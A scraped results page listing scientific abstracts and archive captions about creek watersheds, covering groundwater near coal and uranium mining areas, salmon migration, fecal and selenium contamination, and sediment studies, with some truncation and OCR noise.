The combined upper Otter Creek-Pasture Creek area, south of Ashland, Montana, contains large reserves of Federal coal for potential lease sale. A hydrologic study was conducted in the area to describe existing hydrologic systems and generalized groundwater quality, to assess potential effects of surface mining on local water resources, and to evaluate the potential for reclamation of those water resources. Principal aquifers are coal beds and sandstone in the upper Tongue River Member of the Fort Union Formation (Paleocene age), and sand and gravel in alluvium (Pleistocene and Holocene age). Hydraulic conductivity determined from aquifer tests was about 0.004 to 16 ft/d for coal or sandstone aquifers and 1 to 290 ft/d for alluvial aquifers. Dissolved-solids concentrations in water from bedrock ranged from 1,160 to 4,390 mg/L. In alluvium, the concentrations were 1,770 to 12,600 mg/L. Surface water is available from interrupted flow along downstream reaches of Otter and Pasture Creeks, from stock ponds, and from springs. Most stock ponds are dry by midsummer. Mining of coal in the Anderson, Dietz, and Canyon beds would lower the potentiometric surface within coal and sandstone aquifers. Alluvium along Otter Creek, its main tributaries, and Pasture Creek would be removed at the mines. Planned structuring of the spoils and reconstruction of alluvial aquifers could minimize downstream changes in water quality. Although mining would alter the existing hydrologic systems and destroy several shallow wells and stock ponds, alternative water supplies are available. (USGS)

14. Photocopy of a photographca. 1902taken by A.W. Peters showing ...

Library of Congress Historic Buildings Survey, Historic Engineering Record, Historic Landscapes Survey

14. Photocopy of a photograph--ca. 1902--taken by A.W. Peters showing Eastwood and his party surveying for the Big Creek Project. The surveying party is visible in the upper right corner. Courtesy Mr. Charles Allan Whitney. - Little Rock Creek Dam, Little Rock Creek, Littlerock, Los Angeles County, CA

Evaluation of fecal contamination by human and ruminant sources in upper Fountain Creek, Colorado, 2007-2008, by using multiple lines of evidence:

USGS Publications Warehouse

Stoeckel, Donald

2011-01-01

Fountain Creek is a high-gradient stream on the Front Range of the Rocky Mountains in Colorado. The headwaters of Fountain Creek drain Pikes Peak, a major destination for tourism. Fountain Creek is a drinking-water source for the City of Colorado Springs, Colorado, and is used for irrigation, recreation, and other purposes between Colorado Springs and the confluence with the Arkansas River at Pueblo, Colorado. In 2008, Fountain Creek was placed on the Colorado 303(d) list of impaired streams because of fecal contamination. Colorado uses a 30-day geometric mean standard of 126 Escherichia coli per 100 milliliters as its management goal for recreational waters. The objective of this study was to identify major sources of Escherichia coli in upper Fountain Creek during exceedances of the State recreational water standard. To meet this objective, a new approach was developed and tested that uses genetic marker analysis for microbial source tracking, along with other information, to evaluate potential contributions of fecal contamination from various sources.

Sacaton riparian grasslands of the Sky Islands: Mapping distribution and ecological condition using state-and-transition models in Upper Cienega Creek Watershed

Treesearch

Ron Tiller; Melissa Hughes; Gita Bodner

2013-01-01

Riparian grasslands dominated by Sporobolus wrightii (big sacaton) were once widely distributed in the intermountain basins of the Madrean Archipelago. These alluvial grasslands are still recognized as key resources for watershed function, livestock, and wildlife. The upper Cienega Creek watershed in SE Arizona is thought to harbor some of the region’s most extensive...

Fish assemblages in Tanzanian mangrove creek systems influenced by solar salt farm constructions

NASA Astrophysics Data System (ADS)

Mwandya, Augustine W.; Gullström, Martin; Öhman, Marcus C.; Andersson, Mathias H.; Mgaya, Yunus D.

2009-04-01

Deforestation of mangrove forests is common occurrence worldwide. We examined fish assemblage composition in three mangrove creek systems in Tanzania (East Africa), including two creeks where the upper parts were partly clear-cut of mangrove forest due to the construction of solar salt farms, and one creek with undisturbed mangrove forest. Fish were caught monthly for one year using a seine net (each haul covering 170 m 2) within three locations in each creek, i.e. at the upper, intermediate and lower reaches. Density, biomass and species number of fish were lower in the upper deforested sites compared to the mangrove-fringed sites at the intermediate and lower parts in the two creeks affected by deforestation, whereas there were no differences among the three sites in the undisturbed mangrove creek system. In addition, multivariate analyses showed that the structure of fish assemblages varied between forested and clear-cut sites within the two disturbed creeks, but not within the undisturbed creek. Across the season, we found no significant differences except for a tendency of a minor increase in fish densities during the rainy season. At least 75% of the fishes were juveniles and of commercial interest for coastal fisheries and/or aquaculture. Mugil cephalus, Gerres oyena and Chanos chanos were the most abundant species in the forested sites. The dominant species in the clear-cut areas were M. cephalus and Elops machnata, which were both found in relatively low abundances compared to the undisturbed areas. The conversion of mangrove forests into solar salt farms not only altered fish assemblage composition, but also water and sediment conditions. In comparison with undisturbed areas, the clear-cut sites showed higher salinity, water temperature as well as organic matter and chlorophyll a in the sediments. Our results suggest that mangrove habitat loss and changes in environmental conditions caused by salt farm developments will decrease fish densities, biomass and species numbers as well as alter the overall fish assemblage composition in the salt farm area but not downstream in the creek.

The geochemistry of the Fox Hills-Basal Hell Creek Aquifer in southwestern North Dakota and northwestern South Dakota

USGS Publications Warehouse

Thorstenson, Donald C.; Fisher, Donald W.; Croft, Mack G.

1979-01-01

The Late Cretaceous Fox Hills Formation and the basal portion of the overlying Hell Creek Formation constitute an important aquifer in the Fort Union coal region. Throughout most of southwestern North Dakota and northwestern South Dakota the aquifer is at depths ranging from 1000 to 2000 ft, except for exposures along the Cedar Creek anticline. Water flows in the aquifer from southwest to northeast, with flow rates of a few feet per year. The recharge and discharge areas of the aquifer are separated by a north-south trending transition zone in which significant changes in water chemistry occur. Dissolved constituents in the recharge area (the western part of the study area) are Na+ = 18 mmol/l, Cl− = 0.7 mmol/1, SO42− = 2.7 mmol/1, and HCO3− = 13 mmol/l (δ13C = −12‰) with pH = 8.5. Ca2+, Mg2+, and K+ are each less than 0.1 mmol/l, dissolved O2 = 0, and traces of H2S and CH4 are present. Computer modeling and carbon isotope data suggest the following reactions in the recharge area. CO2 derived from lignitic carbon reacts to dissolve carbonate minerals, with cations then being exchanged for Na+ on clay minerals. The high pH in the aquifer is the result of buffering by carbonate-ion exchange equilibria. In the discharge area, pH values have declined to 8.3, Cl− has increased from 0.7 to 5.5 mmol/l, with a parallel increase in Na+ SO42− has essentially disappeared, HCO3− has increased from 13 to 21 mmol/l (δ13C = −9‰), CH4 has attained concentrations greater than 0.5 mmol/l, and small amounts of He are present. Traces of H2S are present, and Ca2+, Mg2+, and K+concentrations remain low throughout the aquifer: These changes can be accounted for by reactions in the aquifer: (1) sulfate reduction to pyrite with lignitic material as the carbon source and (2) continuous buffering of pH by the carbonate-ion exchange equilibria. Chemical and hydrologic data suggest that the increase in NaCl results from upward movement of small volumes of water into the Fox Hills aquifer from the transition zone eastward. Redox reactions in the aquifer are closely analogous to those observed in pore waters of reducing marine sediments. Reactions approach but do not achieve true thermodynamic equilibrium. Measurements of redox potential suggest a downgradient decrease in redox potential. The measurements are not amenable to quantitative interpretation.

Investigations into the Early Life-history of Naturally Produced Spring Chinook Salmon and Summer Steelhead in the Grande Ronde River Basin, Annual Report 2001.

DOE Office of Scientific and Technical Information (OSTI.GOV)

Reischauer, Alyssa; Monzyk, Frederick; Van Dyke, Erick

2003-06-01

We determined migration timing and abundance of juvenile spring chinook salmon Oncorhynchus tshawytscha and juvenile steelhead/rainbow trout Oncorhynchus mykiss using rotary screw traps on four streams in the Grande Ronde River basin during the 2001 migratory year (MY 2001) from 1 July 2000 through 30 June 2001. Based on migration timing and abundance, two distinct life-history strategies of juvenile spring chinook and O. mykiss could be distinguished. An 'early' migrant group left upper rearing areas from 1 July 2000 through 29 January 2001 with a peak in the fall. A 'late' migrant group descended from upper rearing areas from 30more » January 2001 through 30 June 2001 with a peak in the spring. The migrant population of juvenile spring chinook salmon in the upper Grande Ronde River in MY 2001 was very low in comparison to previous migratory years. We estimated 51 juvenile spring chinook migrated out of upper rearing areas with approximately 12% of the migrant population leaving as early migrants to overwinter downstream. In the same migratory year, we estimated 16,067 O. mykiss migrants left upper rearing areas with approximately 4% of these fish descending the upper Grande Ronde River as early migrants. At the Catherine Creek trap, we estimated 21,937 juvenile spring chinook migrants in MY 2001. Of these migrants, 87% left upper rearing areas early to overwinter downstream. We also estimated 20,586 O. mykiss migrants in Catherine Creek with 44% leaving upper rearing areas early to overwinter downstream. At the Lostine River trap, we estimated 13,610 juvenile spring chinook migrated out of upper rearing areas with approximately 77% migrating early. We estimated 16,690 O. mykiss migrated out of the Lostine River with approximately 46% descending the river as early migrants. At the Minam River trap, we estimated 28,209 juvenile spring chinook migrated out of the river with 36% migrating early. During the same period, we estimated 28,113 O. mykiss with approximately 14% of these fish leaving as early migrants. Juvenile spring chinook salmon PIT-tagged at trap sites in the fall and in upper rearing areas during winter were used to compare migration timing and survival to Lower Granite Dam of the early and late migrant groups. Juvenile spring chinook tagged on the upper Grande Ronde River were detected at Lower Granite Dam from 4 May to 20 May 2001, with a median passage date of 17 May. Too few fish were collected and tagged to conduct detection rate and survival comparisons between migrant groups. PIT-tagged salmon from Catherine Creek trap were detected at Lower Granite Dam from 27 April to 13 July 2001. Early migrants were detected significantly earlier (median = 10 May) than late migrants (median = 1 June). Also, early migrants from Catherine Creek were detected at a significantly higher rate than fish tagged in upper rearing areas in the winter, suggesting better survival for fish that migrated out of upper rearing areas in the fall. Juvenile spring chinook salmon from the Lostine River were detected at Lower Granite Dam from 2 April through 4 July 2001. Early migrants were detected significantly earlier (median = 27 April) than late migrants (median = 14 May). However, there was no difference in detection rates between early and late migrants. Survival probabilities showed similar patterns as dam detection rates. Juvenile spring chinook salmon from the Minam River were detected at Lower Granite Dam from 8 April through 18 August 2001. Early migrants were detected significantly earlier (median = 28 April) than late migrants (median = 14 May). Late migrants from the Minam River were tagged at the trap in the spring. Spring chinook salmon parr PIT-tagged in summer 2000 on Catherine Creek and the Imnaha, Lostine, and Minam rivers were detected at Lower Granite Dam over an 87 d period from 8 April to 3 July 2001. The migratory period of individual populations ranged from 51 d (Imnaha River) to 67 d (Catherine Creek) in length. Median dates of migration ranged from 30 April (Imnaha River) to 17 May (Catherine Creek). Detection rates differed between populations with Catherine Creek spring chinook salmon detected at the lowest rate (8.2%). Imnaha, Lostine, and Minam detection rates were not significantly different from each other. A similar pattern was seen for survival probabilities. Using mark-and-recapture and scale-aging techniques, we determined the population size and age-structure of spring chinook salmon parr in Catherine Creek and the Lostine River during the summer of 2001. In Catherine Creek, we estimated that 986 mature age-1 parr (precocious males) and 15,032 immature age-0 parr were present during August 2001. We estimated there were 7.5 mature male parr for every anadromous female spawner in Catherine Creek in 2001. We estimated 33,086 immature, age-0 parr inhabited the Lostine River in August 2001.« less

Evidence for gap flows in the Birch Creek Valley, Idaho

Treesearch

D. Finn; B. Reese; B. Butler; N. Wagenbrenner; K. L. Clawson; J. Rich; E. Russell; Z. Gao; H. Liu

2016-01-01

A field study was conducted of flows in the Birch Creek Valley in eastern Idaho. There is a distinct topographic constriction in the Birch Creek Valley that creates two subbasins: an upper and lower valley. The data were classified into one of three groups based on synoptic influence (weak/absent, high wind speeds, and other evidence of synoptic influence). Gap flows...

Effects of historical land-cover changes on flooding and sedimentation, North Fish Creek, Wisconsin

USGS Publications Warehouse

Fitzpatrick, Faith A.; Knox, James C.; Whitman, Heather E.

1999-01-01

Results from hydrologic and sediment-transport modeling indicate that modern flood peaks and sediment loads in North Fish Creek may be double that expected under pre-settlement forest cover. During maximum agricultural activity in the mid-1920's to mid-1930's, flood peaks probably were about 3 times larger and sediment loads were about 5 times larger than expected under pre-settlement forest cover. These results indicate that future changes from pasture or cropland to forest will help reduce flood peaks, thereby reducing erosion and sedimentation. The addition of detention basins (to decrease flood peaks) on tributaries to North Fish Creek, or bank and instream restoration (to decrease erosion) in the upper main stem, also may help reduce the contribution of sediment from the upper main stem to the transitional section and lower main stem of the creek.

Testing a blowing snow model against distributed snow measurements at Upper Sheep Creek, Idaho, United States of America

Treesearch

Rajiv Prasad; David G. Tarboton; Glen E. Liston; Charles H. Luce; Mark S. Seyfried

2001-01-01

In this paper a physically based snow transport model (SnowTran-3D) was used to simulate snow drifting over a 30 m grid and was compared to detailed snow water equivalence (SWE) surveys on three dates within a small 0.25 km2 subwatershed, Upper Sheep Creek. Two precipitation scenarios and two vegetation scenarios were used to carry out four snow transport model runs in...

Geologic framework, regional aquifer properties (1940s-2009), and spring, creek, and seep properties (2009-10) of the upper San Mateo Creek Basin near Mount Taylor, New Mexico

USGS Publications Warehouse

Langman, Jeff B.; Sprague, Jesse E.; Durall, Roger A.

2012-01-01

The U.S. Geological Survey, in cooperation with the U.S. Forest Service, examined the geologic framework, regional aquifer properties, and spring, creek, and seep properties of the upper San Mateo Creek Basin near Mount Taylor, which contains areas proposed for exploratory drilling and possible uranium mining on U.S. Forest Service land. The geologic structure of the region was formed from uplift of the Zuni Mountains during the Laramide Orogeny and the Neogene volcanism associated with the Mount Taylor Volcanic Field. Within this structural context, numerous aquifers are present in various Paleozoic and Mesozoic sedimentary formations and the Quaternary alluvium. The distribution of the aquifers is spatially variable because of the dip of the formations and erosion that produced the current landscape configuration where older formations have been exhumed closer to the Zuni Mountains. Many of the alluvial deposits and formations that contain groundwater likely are hydraulically connected because of the solid-matrix properties, such as substantive porosity, but shale layers such as those found in the Mancos Formation and Chinle Group likely restrict vertical flow. Existing water-level data indicate topologically downgradient flow in the Quaternary alluvium and indiscernible general flow patterns in the lower aquifers. According to previously published material and the geologic structure of the aquifers, the flow direction in the lower aquifers likely is in the opposite direction compared to the alluvium aquifer. Groundwater within the Chinle Group is known to be confined, which may allow upward migration of water into the Morrison Formation; however, confining layers within the Chinle Group likely retard upward leakage. Groundwater was sodium-bicarbonate/sulfate dominant or mixed cation-mixed anion with some calcium/bicarbonate water in the study area. The presence of the reduction/oxidation-sensitive elements iron and manganese in groundwater indicates reducing conditions at some time or in some location(s) in most aquifers. Frequent detections of zinc in the alluvium aquifer may represent anthropogenic influences such as mining. Along the mesas in the upper San Mateo Creek Basin, springs that form various creeks, including El Rito and San Mateo Creeks, discharge from the basalt-cap layer and the upper Cretaceous sedimentary layers. Streamflow in El Rito and San Mateo Creeks flows down steep gradients near the mesas sustained by groundwater discharges, and this streamflow transitions to shallow groundwater contained within the valley alluvium through infiltration where the subsequent groundwater is restricted from downward migration by the shaly Menefee Formation. This shallow groundwater reemerges at seeps where the land surface has been eroded below the groundwater level. Spring- and creek-water samples contained small amounts of dissolved solutes, and seep water contained substantially larger amounts of dissolved solutes. The pH of water within the creeks was neutral to alkaline, and all locations exhibited well-oxygenated conditions, although typically at substantially less than saturated levels. Changes in the stable-isotope ratios of water between spring and summer samples indicate differences in source-water inputs that likely pertain to seasonal recharge sources. Results of the water-isotope analysis and geochemical modeling indicate little evaporation and chemical weathering at the spring and creek sites but stronger evaporation and chemical weathering by the time the water reaches the seep locations in the center of the upper San Mateo Creek Basin.

Inorganic chemistry of water and bed sediment in selected tributaries of the south Umpqua River, Oregon, 1998

USGS Publications Warehouse

Hinkle, Stephen R.

1999-01-01

Ten sites on small South Umpqua River tributaries were sampled for inorganic constituents in water and streambed sediment. In aqueous samples, high concentrations (concentrations exceeding U.S. Environmental Protection Agency criterion continuous concentration for the protection of aquatic life) of zinc, copper, and cadmium were detected in Middle Creek at Silver Butte, and the concentration of zinc was high at Middle Creek near Riddle. Similar patterns of trace-element occurrence were observed in streambed-sediment samples.The dissolved aqueous load of zinc carried by Middle Creek along the stretch between the upper site (Middle Creek at Silver Butte) and the lower site (Middle Creek near Riddle) decreased by about 0.3 pounds per day. Removal of zinc from solution between the upper and lower sites on Middle Creek evidently was occurring at the time of sampling. However, zinc that leaves the aqueous phase is not necessarily permanently lost from solution. For example, zinc solubility is pH-dependent, and a shift between solid and aqueous phases towards release of zinc to solution in Middle Creek could occur with a perturbation in stream-water pH. Thus, at least two potentially significant sources of zinc may exist in Middle Creek: (1) the upstream source(s) producing the observed high aqueous zinc concentrations and (2) the streambed sediment itself (zinc-bearing solid phases and/or adsorbed zinc). Similar behavior may be exhibited by copper and cadmium because these trace elements also were present at high concentrations in streambed sediment in the Middle Creek Basin.

Selenium in water, sediment, plants, invertebrates, and fish in the Blackfoot River drainage

USGS Publications Warehouse

Hamilton, S.J.; Buhl, K.J.

2004-01-01

Nine stream sites in the Blackfoot River watershed in southeastern Idaho were sampled in September 2000 for water, surficial sediment, aquatic plants, aquatic invertebrates, and fish. Selenium was measured in these aquatic ecosystem components, and a hazard assessment was performed on the data. Water quality characteristics such as pH, hardness, and specific conductance were relatively uniform among the nine sites examined. Selenium was elevated in water, sediment, aquatic plants, aquatic invertebrates, and fish from several sites suggesting deposition in sediments and food web cycling through plants and invertebrates. Selenium was elevated to concentrations of concern in water at eight sites (>5 ??g/L), sediment at three sites (>2 ??g/g), aquatic plants at four sites (>4 ??g/g), aquatic invertebrates at five sites (>3 ??g/g), and fish at seven sites (>4 ??g/g in whole body). The hazard assessment of selenium in the aquatic environment suggested low hazard at Sheep Creek, moderate hazard at Trail Creek, upper Slug Creek, lower Slug Creek, and lower Blackfoot River, and high hazard at Angus Creek, upper East Mill Creek, lower East Mill Creek, and Dry Valley Creek. The results of this study are consistent with results of a previous investigation and indicate that selenium concentrations from the phosphate mining area of southeastern Idaho were sufficiently elevated in several ecosystem components to cause adverse effects to aquatic resources in the Blackfoot River watershed. ?? 2004 Kluwer Academic Publishers.

Interfingering of the Frontier Formation and Aspen Shale, Cumberland Gap, Wyoming.

USGS Publications Warehouse

M'gonigle, J.

1982-01-01

The basal part, or the Chalk Creek Member, of the non-marine lower Frontier Formation (Upper Cretaceous) includes a thin coal bed that grades S into a carbonaceous shale. The latter plus associated sandstones and shales pinch out S of Cumberland Gap and lie stratigraphically below the top of the Aspen Shale. The beds in the upper part of the Aspen, in turn, pinch out within the Frontier Formation. The coal bed and equivalent carbonaceous shale represent in-place accumulation of peat. The interfingering suggests that in SW Wyoming the Lower/Upper Cretaceous boundary is within the Chalk Creek Member. -from Author

Little Cypress Creek study: A watershed restoration option for protection of wetlands

Treesearch

Lisa Gandy; Randy Roberson; Tom Foti

2000-01-01

The Little Cypress Creek watershed, which is the home of the Louisiana Purchase Historic State Park and Natural Area, is one of the only remaining examples of a headwater swamp ecosystem left in Arkansas. An increase in water elevations and a change in species composition were noticed in the park in late 1970. A study of the upper watershed of Little Cypress Creek was...

Comparing two tools for ecosystem service assessments regarding water resources decisions.

PubMed

Dennedy-Frank, P James; Muenich, Rebecca Logsdon; Chaubey, Indrajeet; Ziv, Guy

2016-07-15

We present a comparison of two ecohydrologic models commonly used for planning land management to assess the production of hydrologic ecosystem services: the Soil and Water Assessment Tool (SWAT) and the Integrated Valuation of Ecosystem Services and Tradeoffs (InVEST) annual water yield model. We compare these two models at two distinct sites in the US: the Wildcat Creek Watershed in Indiana and the Upper Upatoi Creek Watershed in Georgia. The InVEST and SWAT models provide similar estimates of the spatial distribution of water yield in Wildcat Creek, but very different estimates of the spatial distribution of water yield in Upper Upatoi Creek. The InVEST model may do a poor job estimating the spatial distribution of water yield in the Upper Upatoi Creek Watershed because baseflow provides a significant portion of the site's total water yield, which means that storage dynamics which are not modeled by InVEST may be important. We also compare the ability of these two models, as well as one newly developed set of ecosystem service indices, to deliver useful guidance for land management decisions focused on providing hydrologic ecosystem services in three particular decision contexts: environmental flow ecosystem services, ecosystem services for potable water supply, and ecosystem services for rainfed irrigation. We present a simple framework for selecting models or indices to evaluate hydrologic ecosystem services as a way to formalize where models deliver useful guidance. Copyright © 2016 Elsevier Ltd. All rights reserved.

Sources of baseflow for the Minnehaha Creek Watershed, Minnesota, US

NASA Astrophysics Data System (ADS)

Nieber, J. L.; Moore, T. L.; Gulliver, J. S.; Magner, J. A.; Lahti, L. B.

2013-12-01

Minnehaha Creek is among the most valued surface water features in the Minneapolis, MN metro area, with a waterfall as it enters the Minnehaha Creek park. Flow in Minnehaha Creek is heavily dependent on discharge from the stream's origin, Lake Minnetonka, the outlet of which is closed during drought periods to maintain water elevations in the lake resulting in low- (or no-) flow conditions in the creek. Stormwater runoff entering directly to the creek from the creek's largely urbanized watershed exacerbates extremes in flow conditions. Given the cultural and ecological value of this stream system, there is great interest in enhancing the cultural and ecosystem services provided by Minnehaha Creek through improvements in streamflow regime by reducing flashiness and sustaining increased low-flows. Determining the potential for achieving improvements in flow requires first that the current sources of water contributing to low-flows in the creek be identified and quantified. Work on this source identification has involved a number of different approaches, including analyses of the streamflow record using a hydrologic system model framework, examination of the Quaternary and bedrock geology of the region, estimation of groundwater-surface water exchange rates within the channel using hyporheic zone temperature surveys and flux meter measurements, and analyses of the stable isotopes of oxygen and hydrogen in samples of stream water, groundwater, and rainfall. Analysis of baseflow recessions using the method of Brutsaert and Nieber (1977) indicates that only a small portion of the catchment, probably the riparian zone, contributes to baseflows. This result appears to be supported by the observation that the limestone/shale bedrock layer underlying the surficial aquifer has a non-zero permeability, and in a significant portion of the watershed the layer has been eroded away leaving the surficial aquifer ';bottomless' and highly susceptible to vertical (down) water loss. The analysis of the stable isotopes indicate that much of the low flow volume originates from surface storages including wetlands and small lakes within the watershed, with a small amount of the flow originating from groundwater seepage into the creek in the upper reaches of the creek. The temperature surveys and the seepage meter measurements along the main channel of the watershed show a trend that groundwater enters into the creek in the upper reaches, while the flux exchange is from the creek to groundwater in the lower reaches. The differences in flux direction between the upper and lower portions of the creek can be explained by three possible nonexclusive causes. First, the creek empties to the Mississippi River, and as the mouth of the creek is approached, the regional piezometric head drops significantly. Second, the lower end of the creek has a much larger portion of ';bottomless' surficial aquifer and therefore greater potential vertical loss of water. Third, the lower portion of the watershed is more developed and has major stormwater pipe infrastructure, a possible pathway for accelerating drainage of the surficial aquifer. To address the issue of low groundwater contribution to low-flows in the creek it is proposed to divert stormwater to key locations within the riparian zone along the creek, and to infiltrate that water and store it for slow release to the creek during non-rain periods.

Are stream stabilization projects reducing suspended sediment concentrations and turbidity in the New York City Water Supply Watershed?

NASA Astrophysics Data System (ADS)

McHale, M. R.; Siemion, J.; Davis, W. D.

2015-12-01

Turbidity and suspended sediment concentrations (SSCs) are primary water quality concerns in the upper Esopus Creek watershed, the main tributary to the Ashokan reservoir. The Ashokan reservoir is one of 6 surface water reservoirs that constitute about 90% of New York City's drinking water supply. This study quantified turbidity levels and SSCs at 10 locations throughout the upper Esopus Creek watershed for 3 years prior to the implementation of 2 stream stabilization projects and for 18 months after the projects were completed. More than 93 percent of the total-suspended sediment load occurred on days with flows greater than or equal to the 90th percentile of flows observed during the study period. Discharge, SSC, and turbidity were strongly related at the outlet of the upper Esopus Creek, but not at every monitoring site. In general, relations between discharge and SSC and turbidity were strongest at sites with high SSCs, with the exception of Stony Clove Creek, the largest tributary. Stony Clove Creek, consistently produced higher SSCs and turbidity than any of the other Esopus Creek tributaries. Nonetheless, there was not a strong relation between either turbidity or SSC and discharge because there was a series of eroding banks in contact with fine grained glacio-lacustrine deposits and associated hill slope failures within the Stony Clove Creek watershed that delivered elevated turbidity and SSCs to the stream during all flow conditions. Stream bank stabilization projects were completed at two of the largest bank failures. After the projects were completed there was decrease in stream SSC and turbidity however, flows during the 18 months following the projects were lower than before the projects. Nevertheless, a shift in the SSC and turbidity discharge rating curves suggests that the stream stabilization projects resulted in lower turbidity levels and SSCs for similar discharge conditions as compared to before the projects thereby reducing sediment yields within the watershed as a result of those projects.

New high resolution geochemistry of Lower Jurassic marine sections in western North America: A global positive carbon isotope excursion in the Sinemurian?

NASA Astrophysics Data System (ADS)

Porter, Sarah J.; Smith, Paul L.; Caruthers, Andrew H.; Hou, Pengfei; Gröcke, Darren R.; Selby, David

2014-07-01

Recognising variations in the carbon isotope compositions of marine organic-rich sedimentary rocks can provide insight into changes in ocean chemistry throughout geological time. Further, identification of global excursions in the carbon isotope record has proved to be valuable as a chronostratigraphic correlation tool. This investigation presents new high-resolution organic carbon isotope data (δCorg13) for marine sediments from 2 regions in North America (Last Creek, British Columbia, Canada and Five Card Draw, Nevada, USA). The carbon isotope profiles demonstrate that there were significant differences between the carbon reservoirs at Five Card Draw and Last Creek, notably in the upper part of the Leslei Zone. The δCorg13 values show a gradual positive CIE (∼2‰) at Last Creek in the upper part of the Leslei Zone. This corresponds to a coeval positive CIE of similar duration in Dorset, UK (upper Turneri Zone; Jenkyns and Weedon, 2013), suggesting that this may be a global marine carbon isotope signature, and likely reflects a widespread increase in primary productivity during the Early Sinemurian. In addition, a brief negative CIE is observed in the uppermost Lower Sinemurian at Last Creek. This negative excursion is not recorded in the Dorset section, suggesting localised upwelling of 12C-rich bottom-waters at Last Creek. Further, the signals identified at Last Creek are not present in coeval sections at Five Card Draw, thus highlighting a significant difference between these localities. Osmium (Os) isotope data (initial 187Os/188Os values) provide a quantitative determination of the contrasting depositional environments of Five Card Draw and Last Creek (at least partially restricted with high levels of continental inundation and open-ocean, respectively). This demonstrates that basinal restriction may act as a major factor that controls isotopic stratigraphic signatures, thus preventing the identification of global or widespread regional excursions.

20. INTERIOR OF UTILITY ROOM SHOWING OPEN DOORWAY TO KITCHEN ...

Library of Congress Historic Buildings Survey, Historic Engineering Record, Historic Landscapes Survey

20. INTERIOR OF UTILITY ROOM SHOWING OPEN DOORWAY TO KITCHEN AT PHOTO LEFT, JUNCTION BOXES AT UPPER PHOTO CENTER, AND PLUMBING FOR WASHER AT PHOTO RIGHT. VIEW TO EAST. - Bishop Creek Hydroelectric System, Plant 4, Worker Cottage, Bishop Creek, Bishop, Inyo County, CA

Habitat quality of historic Snake River fall Chinook salmon spawning locations and implications for incubation survival: part 1, substrate quality

DOE Office of Scientific and Technical Information (OSTI.GOV)

Hanrahan, Timothy P.; Geist, David R.; Arntzen, Evan V.

2005-07-01

We evaluated substrate quality at two historic fall Chinook salmon (Oncorhynchus tshawytscha) spawning sites in the Snake River, Idaho, USA. The primary objective of this evaluation was to measure sediment permeability within these areas to determine the potential quality of the habitat in the event that anadromous salmonids are reintroduced to the upper Snake River. Riverbed sediments within the two sites in the upper Snake River were sampled using freeze cores and hydraulic slug tests. Sediment grain size distributions at both sites were typical of gravel-bed rivers with the surface layer coarser than the underlying substrate, suggesting the riverbed surfacemore » was armored. Despite the armored nature of the bed, the size of the largest material present on the riverbed surface was well within the size limit of material capable of being excavated by spawning fall Chinook salmon. The percentage of fines was low, suggesting good quality substrate for incubating salmon embryos. Geometric mean particle sizes found in this study compared to a 55% to 80% survival to emergence based on literature values. Hydraulic slug tests showed moderate to high hydraulic conductivity and were comparable to values from current fall Chinook salmon spawning areas in the Hells Canyon Reach of the Snake River and the Hanford Reach of the Columbia River. Predicted estimates of mean egg survival at both sites (48% and 74%) equaled or exceeded estimates from fall Chinook salmon spawning areas in the Hells Canyon Reach and the Hanford Reach.« less

Investigations into the Early Life History of Naturally Spring Chinook Salmon in the Grande Ronde River Basin : Fish Research Project Oregon : Annual Progress Report Project Period 1 September 1997 to 31 August 1998.

DOE Office of Scientific and Technical Information (OSTI.GOV)

Keefe, MaryLouise; Tranquilli, J. Vincent

1998-01-01

We determined migration timing and abundance of juvenile spring chinook salmon from three populations in the Grande Ronde River basin. We estimated 6,716 juvenile chinook salmon left upper rearing areas of the Grande Ronde River from July 1997 to June 1998; approximately 6% of the migrants left in summer, 29% in fall, 2% in winter, and 63% in spring. We estimated 8,763 juvenile chinook salmon left upper rearing areas of Catherine Creek from July 1997 to June 1998; approximately 12% of the migrants left in summer, 37% in fall, 21% in winter, and 29% in spring. We estimated 8,859 juvenilemore » chinook salmon left the Grande Ronde Valley, located below the upper rearing areas in Catherine Creek and the Grande Ronde River, from October 1997 to June 1998; approximately 99% of the migrants left in spring. We estimated 15,738 juvenile chinook salmon left upper rearing areas of the Lostine River from July 1997 to April 1998; approximately 3% of the migrants left in summer, 61% in fall, 2% in winter, and 34% in spring. We estimated 22,754 juvenile spring chinook salmon left the Wallowa Valley, located below the mouth of the Lostine River, from September 1997 to April 1998; approximately 55% of the migrants left in fall, 5% in winter, and 40% in spring. Juvenile chinook salmon PIT-tagged on the upper Grande Ronde River were detected at Lower Granite Dam from 4 April to 26 June 1998, with a median passage date of 1 May. PIT-tagged salmon from Catherine Creek were detected at Lower Granite Dam from 3 April to 26 June 1998, with a median passage date of 8 May. PIT-tagged salmon from the Lostine River were detected at Lower Granite Dam from 31 March through 26 May 1998, with a median passage date of 28 April. Juveniles tagged as they left the upper rearing areas of the Grande Ronde and Lostine rivers in fall and that overwintered in areas downstream were detected in the hydrosystem at a higher rate than fish tagged during winter in the upper rearing areas, indicating a higher overwinter survival in the downstream areas. Fish from Catherine Creek showed no difference in detection rates between the fall and winter tag groups, indicating similar overwinter survival in the upper and lower rearing areas. Chinook salmon parr were generally associated with low velocity habitat types during winter in Catherine Creek, and both winter and summer in the Lostine River. In summer 1997, we PIT-tagged parr on Catherine Creek and the Minam and Imnaha rivers in order to monitor their subsequent migration as smolts through the Snake and Columbia River hydrosystem. We found significant differences among populations in smolt migration timing at Lower Granite Dam in 1998. Fish from Catherine Creek and the Minam and Imnaha rivers were detected in the hydrosystem at rates of 16.4, 20.5, and 28.1%, respectively. In 1998, we estimated parr abundance and the number of parr produced per redd in Catherine Creek and the Lostine River. We estimated that 429 mature, age 1+ male parr and 13,222 immature, age 0+ parr were present in Catherine Creek in August. An average of 29 mature, age 1+ male parr and 287 immature, age 0+ parr were produced from each redd constructed in 1996 and 1997, respectively. We estimated that 75 mature, age 1+ male parr and 40,748 immature, age 0+ parr were present in the Lostine River in August. An average of 3 mature, age 1+ male parr and 832 immature, age 0+ parr were produced from each redd constructed in 1996 and 1997, respectively. For every anadromous female spawner in Catherine Creek and the Lostine River in 1998, there were an estimated 13 and 3 mature male parr, respectively.« less

A Preliminary Appraisal of Offstream Reservoir Sites for Meeting Water Storage Requirements in the Upper Snake River Basin.

DTIC Science & Technology

1981-02-01

510 20.0 78 Bitch Creek Teton R., Bitch Cr. 475 11.0 180 U~pper Badger Creek Teton R., Badger Cr. 440 6.0 84 Ashton Dam Enlargement Henrys Fork Snake R...Lake Offstream Reservoir Site ( Teton River Drainage). Twin Falls Canal power release back into the Snake River downstream from Milner Dam . 3. The...Release at Milner Dam on the Snake River for Possible Power Development . . . 24 9. Nomograph Used in Estimating Conveyance Components of Cost . 32 10

Environments and extinctions at the K-T boundary in eastern Montana are compatible with an asteroid impact

